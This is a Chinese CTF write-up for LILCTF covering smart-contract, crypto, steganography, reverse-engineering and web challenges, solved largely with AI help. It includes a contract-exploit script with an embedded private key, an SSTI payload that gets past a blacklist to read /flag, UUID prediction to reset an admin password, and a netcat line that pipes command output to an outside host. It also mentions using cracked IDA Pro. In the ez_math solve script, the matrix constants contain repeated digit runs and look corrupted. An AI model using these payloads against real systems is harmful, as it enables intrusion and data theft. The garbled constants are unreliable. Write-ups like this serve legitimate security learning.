题解#
我们的队伍「我们不可能成为CTF糕手!绝对不行。(※似乎可行?)」
仅上传了我的部分。
出于对象储存的流量消耗原因其实是懒,删除了所有 FLAG 截图。
Blockchain#
生蚝的宝藏#
预感这道题不会很难,应该是智能合约审查。Blockchain 这东西大家估摸着都没什么基础,要做的很难应该被放在密码学之类的地方吧?
所以,我很自信地认为依靠互联网和AI是能在几个小时内把这道题磨出来的。
虽然过程很丑陋,完全是 AI 先教会我最基础的 Web3 工具链怎么用,再帮我审查合约。我除了纠错基本没有动脑……
找到 Hash 的漏洞比较容易,因为一切都被明文给出。
感觉关键点还是逆向的做法:找出字符串A,然后再找加密方式,做逆运算 or 复现加密算法得到字符串B。
按照要求完成转账(热身)#
步骤1是给你注册一个新的账号:
[+] deployer account: 0x6d3dbBCdFd06fD556fA68D89306ce480e59F8191
[+] token: v4.local.kO8wId2nymSOvDM06FgD4DPyZ4GJIbGhEcyFrTgJSs7xVR5y096ZMWRN5MGIMwmbvLyLYSsbAbt5wXYRZGHW99Yw7FoeEf8C7_NcAzzDTxRnBTspCDpjvQICz6yqX2I1Ydi1sLuC1_c8sbCWwgfJ067TnHyQcG2DfkEXLAEPyuC5_A.T3lzdGVyVHJlYXN1cmUplaintext在 Gemini 指导下了解了 PRC 和 水龙头,并安装了 Foundry。
从水龙头里得到以太币。粘贴进去就好了。
步骤二是转账。会在这个账号部署智能合约。
还原合约的处理(又是逆向)#
从 cast code 0xb17b9BB32B58033c57194eA5ce35fb0e5b4BaaFA --rpc-url http://106.15.138.99:8545/ 获取合约的字节码。
使用 https://www.ethervm.io/decompile ↗ 逆向它。
咨询 GPT,得到逻辑:
读取参数,读取密钥 k,
k << 0xa1,
treasure XOR k,
进行 `keccak256(参数)` == keccak256(treasure XOR k) 的比较,
相等则返回 1plaintext解密#
keccak256( payload XOR (K << 0xa1) ) == keccak256(secret) 中的
payload = secret XOR (K << 0xa1)
其中:
PUSH12 0x35b2bcaf9a9b9b1c1b331ab3
SHL 0xa1asmAI 一开始并不在乎这个左移。经过提示左移这个流程后,AI 写出了正确的代码:
import os
from web3 import Web3
from web3.exceptions import ContractLogicError
from eth_abi import encode
from eth_utils import keccak
RPC_URL = "http://106.15.138.99:8545/"
PRIVATE_KEY = "0xc842870712017b863efc650d0fda5ffd3b3f56248c51f1b34a4b009a0cdf82ac"
CONTRACT_ADDRESS = "0xb17b9BB32B58033c57194eA5ce35fb0e5b4BaaFA"
MINIMAL_ABI = [{"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutility": "view", "type": "function"}]
def decode_storage_bytes(w3: Web3, contract_address: str, slot0: bytes) -> bytes:
if slot0[-1] & 1 == 0:
length = slot0[-1] >> 1
return slot0[:length]
else:
length = (int.from_bytes(slot0, 'big') - 1) // 2
data_start_slot = int.from_bytes(keccak(int.to_bytes(0, 32, 'big')), 'big')
full_data = b''
num_slots_to_read = (length + 31) // 32
for i in range(num_slots_to_read):
slot_content = w3.eth.get_storage_at(contract_address, data_start_slot + i)
full_data += slot_content
return full_data[:length]
def encrypt_treasure(treasure: bytes, key: bytes) -> bytes:
print("[*] 正在使用最终的加密算法 (Key Shift then XOR)...")
key_int = int.from_bytes(key, 'big')
shifted_key_int = key_int << 161
real_key = shifted_key_int.to_bytes(32, 'big')
print(f"[*] 计算出的真实密钥 (32 bytes): {real_key.hex()}")
payload = bytearray(len(treasure))
key_len = 12
for i in range(len(treasure)):
key_byte = real_key[i % key_len]
payload[i] = treasure[i] ^ key_byte
return bytes(payload)
def main():
w3 = Web3(Web3.HTTPProvider(RPC_URL))
if not w3.is_connected():
print("错误:无法连接到 RPC 节点!")
return
account = w3.eth.account.from_key(PRIVATE_KEY)
sender_address = account.address
print(f"[*] 使用账户: {sender_address}")
checksum_contract_address = Web3.to_checksum_address(CONTRACT_ADDRESS)
contract = w3.eth.contract(address=checksum_contract_address, abi=MINIMAL_ABI)
is_solved_before = contract.functions.isSolved().call()
print(f"[*] 攻击前, isSolved() 返回: {is_solved_before}")
if is_solved_before:
print("[*] 合约已解决,无需再次攻击。")
return
print("\n--- 开始构造 Payload ---")
slot0_data = w3.eth.get_storage_at(checksum_contract_address, 0)
print(f"[*] 读取 Storage Slot 0: {slot0_data.hex()}")
treasure = decode_storage_bytes(w3, checksum_contract_address, slot0_data)
print(f"[*] 解码后的 Treasure (长度: {len(treasure)} bytes): {treasure.hex()}")
key = bytes.fromhex("35b2bcaf9a9b9b1c1b331ab3")
payload = encrypt_treasure(treasure, key)
print(f"[*] 计算出的 Payload (长度: {len(payload)} bytes): {payload.hex()}")
selector = bytes.fromhex("5cc4d812")
exploit_calldata = selector + encode(['bytes'], [payload])
print(f"[*] 最终生成的 Calldata: {exploit_calldata.hex()}")
print("--- Payload 构造完毕 ---\n")
print("[*] 正在准备攻击交易...")
try:
tx_params = {
'to': checksum_contract_address,
'from': sender_address,
'data': exploit_calldata,
'nonce': w3.eth.get_transaction_count(sender_address),
'chainId': w3.eth.chain_id
}
estimated_gas = w3.eth.estimate_gas(tx_params)
print(f"[*] 自动估算 Gas: {estimated_gas}")
tx_params['gas'] = int(estimated_gas * 1.2)
tx_params['gasPrice'] = w3.eth.gas_price
signed_tx = w3.eth.account.sign_transaction(tx_params, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
print(f"[*] 交易已发送, 哈希: {tx_hash.hex()}")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
if receipt.status == 1:
print("[+] 交易成功!")
else:
print("[-] 交易失败!")
except ContractLogicError as e:
print(f"[-] 交易失败!合约逻辑错误: {e}")
except Exception as e:
print(f"[-] 未知错误: {e}")
is_solved_after = contract.functions.isSolved().call()
print(f"[*] 攻击后, isSolved() 返回: {is_solved_after}")
if __name__ == "__main__":
main()pythonCrypto#
ez_math#
解密脚本如下:
原理为相似矩阵特征值一致
from sage.all import *
from Crypto.Util.number import long_to_bytes
p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C_flat = [7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645, 7096268905956462643320137667780334763649635657732499491108178913281913281913281913281913281913281913281913281913281, 73414300536061723296029114059057543867292246948534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485, 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]
F = GF(p)
C = matrix(F, 2, 2, C_flat)
eigenvalues = C.eigenvalues()
print(f"找到的特征值: {eigenvalues}")
lambda1_recovered = int(eigenvalues[0])
lambda2_recovered = int(eigenvalues[1])
part1 = long_to_bytes(lambda1_recovered)
part2 = long_to_bytes(lambda2_recovered)
flag_part1 = part1 + part2
flag_part2 = part2 + part1
print(f"最终 Flag 1: LILCTF{{{flag_part1.decode()}}}")
print(f"最终 Flag 2: LILCTF{{{flag_part2.decode()}}}")pythonMisc#
PNG_Master#
flag1#
用 strings 扫一遍,在末尾得到:
6K6p5L2g6Zq+6L+H55qE5LqL5oOF77yM5pyJ5LiA5aSp77yM5L2g5LiA5a6a5Lya56yR552A6K+05Ye65p2lZmxhZzE6NGM0OTRjNDM1NDQ2N2I=plaintext显然是 base64,解码后得到:
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467bplaintextflag2#
我们使用 zstag -a 扫描,重点关注红色部分,第一个便是:
b1,rgb,lsb,xy .. text: "5Zyo5oiR5Lus5b+D6YeM77yM5pyJ5LiA5Z2X5Zyw5pa55piv5peg5rOV6ZSB5L2P55qE77yM6YKj5Z2X5Zyw5pa55Y+r5YGa5biM5pybZmxhZzI6NTkzMDc1NWYzNDcyMzM1ZjRk"plaintext看起来也许是 base64,尝试解码:
在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4dplaintextflag3#
到这里就没什么头绪了,尝试把 zstag 的输出给 Gemini 看,提示我还有 zlib 数据没提取出来。
那我们就 binwalk -e 一下:
54 0x36 Zlib compressed data, default compression
317 0x13D Zlib compressed data, default compression
456639 0x6F7BF Zlib compressed data, default compressionplaintext依次 zlib-flate -uncompress 把二进制数据解一次。然后再 xxd 把文件头给 Gemini 看。
Gemini 发现 0x6F7BF 是压缩包,0x36 只是一个色彩文件。
所以我们改 0x6F7BF 后缀,解压得到 hint.txt 和 secret.bin。根据 hint.txt ,我们知道 flag 就在 secret.bin 里面。
在 ctf-wiki, gemini 和 vscode 的帮助下发现 hint.txt 是零宽字符隐写,我们去找工具。
提示1:与文件名 XOR#
发现:https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html ↗ 能够提取出 与文件名XOR 的密文。
提示2:后缀不算文件名#
脚本怎么不对劲,回看题目,发现作者提示后缀不算文件名。
修改后脚本如下:
def solve_secret():
filename = 'secret.bin'
try:
key = 'secret'.encode('utf-8')
key_length = len(key)
with open(filename, 'rb') as f:
encrypted_data = f.read()
decrypted_data = bytearray()
for i in range(len(encrypted_data)):
decrypted_byte = encrypted_data[i] ^ key[i % key_length]
decrypted_data.append(decrypted_byte)
try:
final_string = decrypted_data.decode('utf-8')
print(final_string)
except UnicodeDecodeError:
print("解密完成,但无法使用 UTF-8 解码为可读字符串。")
print(decrypted_data)
except FileNotFoundError:
print(f"错误:文件 '{filename}' 不存在。")
except Exception as e:
print(f"发生了一个未知错误:{e}")
if __name__ == '__main__':
solve_secret()python就此得到 flag3。
最终的解密#
flag1:4c494c4354467b
flag2:5930755f3472335f4d
flag3:61733765725f696e5f504e477dplaintexthex2ascii 即可。
Reverse#
1’M no7 A rO6oT#
对于这种题目,似乎再怎么混淆都是要打回原形进行执行的,总结就是别执行执行危险代码的那一部分,但是要执行从混淆的代码还原回来的那一部分。
起手一个 strings 剥离出 <script> 内的脚本,去掉最后的执行而是让它打印。
candlest@yl15prow /m/d/L/Re> strings ./Coloringoutomic_Host.mp3 | grep script
<script>...</script>sh得到 PowerShell 脚本,经过层层分析,最终在混淆代码中找到 flag。
ARM ASM#
最近的大创也有安卓逆向的部分,所以先用 jadx 随便翻翻源代码,发现 MainActivity 用到了 libez_asm_hahaha.so 里面的 String check(String str) 函数。
于是提取出 libez_asm_hahaha.so,遗憾的是 IDA-Free 不能分析 ARM 架构的文件,于是只能用之前在看雪找的 IDA Pro 9.1,装上 IDA-Pro-MCP 开始分析。
其中短暂地被 k=114514… 这个变量误导,但是好在 Gemini 能够成功找到关键文件。不过,它却不能正确理解 vqtbl1q_s8 这个伪指令。反正是和 Gemini 纠缠了好久,最后尝试让 Gemini 带着我把 check 相关的汇编读一遍,才发现 libez_asm_hahaha.so 更改了 base64 的顺序,自己写出了除了密码块链接以外代码,只有 1/3 的 FLAG 是对的,我并不知道第二第三块密码中的 t 是怎么变化的。
最后是手动 RAG 喂给 GPT-5,乘着没降智把正确的逻辑找出来了:
v5 = vld1q_dup_s8(v4); (行 31): 将轮号 i 加载到向量 v5 的所有16个字节中。
t = veorq_s8(t, v5); (行 32): t 与轮号 i 异或,为下一轮做准备。plaintextt 在三轮中并不会”循环移位”,而是每轮末用按位异或更新:t := t XOR round_index(round_index 为该轮的轮号,0,1,2)。
由于更新发生在”处理完当前块之后”,所以用于第 i 个块的 t 为:
块 0:t0
块 1:t0
块 2:t0 XOR 0x01plaintext顺利补完脚本如下:
import base64
from collections import deque
tab1 = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
tab2 = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
TRANS_TABLE = bytes.maketrans(tab1, tab2)
t0 = bytes([0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00])
final = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
standard_b64_string = final.encode('ascii').translate(TRANS_TABLE)
encrypted = base64.b64decode(standard_b64_string)
print(f"[*] 解码后的密文 (hex): {encrypted.hex()}")
EncryptedData = bytearray()
for i in range(0, len(encrypted), 3):
chunk = encrypted[i:i+3]
b0 = ((chunk[0] >> 3) | (chunk[0] << 5)) & 0xFF
b1 = ((chunk[1] >> 7) | (chunk[1] << 1)) & 0xFF
b2 = chunk[2]
EncryptedData.extend([b0, b1, b2])
print(f"[*] 逆向旋转后的中间结果: {bytes(EncryptedData).hex()}")
def unshuffle_block(shuffled_block, shuffle_map):
original_block = bytearray(16)
if len(shuffle_map) != 16 or len(set(shuffle_map)) != 16 or max(shuffle_map) > 15:
raise ValueError(f"Invalid shuffle map")
inv = [0]*16
for j, val in enumerate(shuffle_map):
inv[val] = j
for i in range(16):
original_block[i] = shuffled_block[inv[i]]
return bytes(original_block)
plaintext = b""
encrypted_blocks = [EncryptedData[i:i+16] for i in range(0, len(EncryptedData), 16)]
n = 0
for i, block in enumerate(encrypted_blocks):
t_map = bytes([b ^ n for b in t0])
after_xor = bytes([b ^ t for b, t in zip(block, t_map)])
plain_block = unshuffle_block(after_xor, t_map)
plaintext += plain_block
n ^= i
print(f"[*] 完整明文 (ascii): {plaintext.decode(errors='ignore')}")pythonOh_My_Uboot#
Bootloader,从 0x60800000 重新开始的世界。
也许可行:qemu 动态调试#
倒在了 msys2 的 gdb 不能正常加载脚本的问题上。不过找到了正确的 PASSWORD 提示词。
换汤不换药:输入验证#
启动入口点 (0x60800000)
↓
硬件初始化 (sub_6080033C)
↓
主要初始化 (sub_60801810)
↓
初始化设置 (sub_60817844)
↓
初始化调用器 (sub_60859DEC)
↓
事件处理 (sub_60819F4C)
↓
事件分发器 (sub_60819E68)
↓
......
↓
sub_60813F74() - 密码验证函数plaintext在 GLM + IDA-Pro-MCP 的帮助下速览伪代码,发现一个奇怪的函数通过一段异或在运行时构建出了 password 提示词,同时找回了失落的验证函数。
并没有逻辑拆分,并没有密文混淆,只是 XOR + Base58。我们只需要解码 Base58 再 XOR 即可。
这次学聪明了确认一下是不是自建的 base58 码表。是的,而且也是运行时构建的。
确认逻辑没问题,让 GLM 写脚本如下:
CUSTOM_ALPHABET = "".join([chr(i) for i in range(48, 106)])
CHAR_MAP = {char: index for index, char in enumerate(CUSTOM_ALPHABET)}
def base58_decode(encoded_string: str) -> bytes:
large_int = 0
for char in encoded_string:
if char not in CHAR_MAP:
raise ValueError(f"无效字符 '{char}'")
value = CHAR_MAP[char]
large_int = large_int * 58 + value
decoded_bytes = large_int.to_bytes((large_int.bit_length() + 7) // 8, 'big')
leading_zeros = 0
for char in encoded_string:
if char == CUSTOM_ALPHABET[0]:
leading_zeros += 1
else:
break
return b'\x00' * leading_zeros + decoded_bytes
def xor_decrypt(data: bytes, key: int) -> bytes:
return bytes([b ^ key for b in data])
encrypted_string = "5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;"
xor_key = 0x72
intermediate_data = base58_decode(encrypted_string)
print(f"[*] Base58 解码后 (hex): {intermediate_data.hex()}")
original_data = xor_decrypt(intermediate_data, xor_key)
print(f"[+] 最终解密结果: {original_data.decode('utf-8')}")pythonQt_Creator#
我最爱的 Qt 框架。
大概流程是:sub_411430 -> sub_4113A0 -> sub_410100 -> sub_40FFF0
安装程序弹出验证窗口,根据字符串名称找到模态对话框代码,进而找到 sub_40FFF0 这一关键的函数。它实现了对 QString(引用计数器混淆视听)的解密,具体逻辑为奇数位置-1 偶数位置+1。
顺藤摸瓜找到了密钥密文,因为 KJKDS 就是 LILCT。
但是如果直接按照奇数位置-1 偶数位置+1的规则,解密出来是 LILCTHyS5acre4t2pa/u_veryaa2lx3ni3nt}。这个时候我们发现 G 的前一个字符是 F,那么我们把规则反过来就好了。
Web#
ez_bottle#
给了源代码,交给 Gemini 一通分析,指出这是一个文件上传题目,主要漏洞是*服务器端模板注入 (SSTI)*漏洞。
提示我们去看 def view_file(md5, filename),指出只有我们打开的文件才会被 BLACK_DICT 检测。
初见#
在 Copilot 的行间补全下完成了上传脚本,然后开始了一些奇怪的尝试,比如发现单行会返回 Error rendering template: Template 'xxx' not found.,变成寻找对应的模板文件。而多行会把它当作模板文本渲染。
误区:以为是多文件上传题目 or 文件包含#
最开始的想法是,既然是上传 zip,且只有我们打开的文件才会被 BLACK_DICT 检测,那么就是多文件协作的题目了。
而 Gemini 也告诉我 jinja 有 %include() 的语法。于是试了半天发现不能识别到模板,应该是指定了的 template 文件夹。
正解:读 Bottle 的文档#
AI 用多了人总会忘记传统的搜索引擎,互联网的传统信息收集方法。
Gemini 已经告诉我用的是 Bottle 框架了,只要动动手指就能看到 SimpleTemplate 模板引擎的文档。我们可以使用 % 直接执行 python 代码。
接下来事情就简单了,通过 % print(locals()) 寻找可用的工具。
由于我看不到回显,所以利用错误信息 raise Exception() 传递有效信息。
Gemini 指出内建函数的重要意义并通过遍历越过 [] 的黑名单,通过字符串拼接越过 open 的黑名单:
# The final payload
% result = [v['o' + 'pen']('/flag').read() for v in locals().values() if isinstance(v, dict) and 'o' + 'pen' in v]
% raise Exception(result)python就此这题成功解出。
Ekko_note#
阅读源码后 Gemini 直接给出了很接近正确答案的思路:先根据 uuid 的不变性在找回密码界面输入 token 更改 admin 密码,再在设置页面更改 time_api 为一个返回 2066 年以后时间的 url,最后可以开始任意执行了。
第一步 uuid#
Gemini 也不清楚 python3.14 的 uuid8 的生成和 random 有关,但是经过实验是的:
果然 AI 对时效性很强的东西的误差会更明显。
import random
import uuid
SERVER_START_TIME = 1755255921.956183
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6:
byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
random.seed(SERVER_START_TIME)
print(uuid.uuid8(a=padding('admin')))python其中 /server_info 是我们获取 SERVER_START_TIME 的途径。
第二步 time_api#
后面检查源代码,发现只需要 datetime_str = data.get('date') 即可:
{
"date": "2067-08-15 20:17:09"
}json粘贴给 https://api.npoint.io/ ↗ 就可以了。
第三步 任意执行 出网#
现在我们获得了任意执行的能力,但是只能输入,看不到输出。
咨询 Gemini,在服务器上使用 cmd | nc <IP> 4444 出网。
在有公网 IP 的机器上使用 nc -lvnp 4444 监听。
感想#
AI 与网络安全#
虽然我很菜,但是 AI 确实对网安工作的效率有极大的提升效果。
绝对不能拘泥于古典编程,同时也不能完全靠 AI 失去了自己学习的机会。
入门 PWN#
Reverse 和 PWN,与计算机基础和编译原理关联比较大。我希望学习他们,更好地理解计算机基础和编译原理。
同时,我也感受到 CTF 这种比赛对我的正向影响。
面对一些”点进去自动下载原神”的恶作剧,一些类似哈基密文、幻影坦克的整活项目,我也不再抓瞎,而是能够尝试理解他们的原理。
面对一些破解xxx软件的方法,我也能够看懂了,以后可以自己破解软件学习了
最重要的是精神上的,我不再有那么坚定的”xxx做不到”的思想了。
Get Hans Dirty,CTF 的很多信息都要靠尝试和报错获取。这条规则在 Earth Online 这个游戏也适用。我尝试与更多样的人沟通,尝试不再那么小心翼翼内敛,而是尝试大胆与人沟通,逐渐尝试把内心的想法说出来。
更别说,受到了前辈的鼓舞。
这个 PWN,我学定了。
GDB-MCP 的可行性#
IDA-Pro-MCP 大大提高了静态分析的效率。
但是动态调试还是没有一款合适的 MCP ……
也许,我能做这一件事?
感谢师傅#
感谢带我入门的前辈师傅,我原本以为安全的世界离我很远。我原本以为计算机的世界只有开发。是你们让我发现计算机世界的缤纷,还有这么多我不曾思考过,不曾重视过却在计算机世界里面扮演如此重要角色的方向值得研究……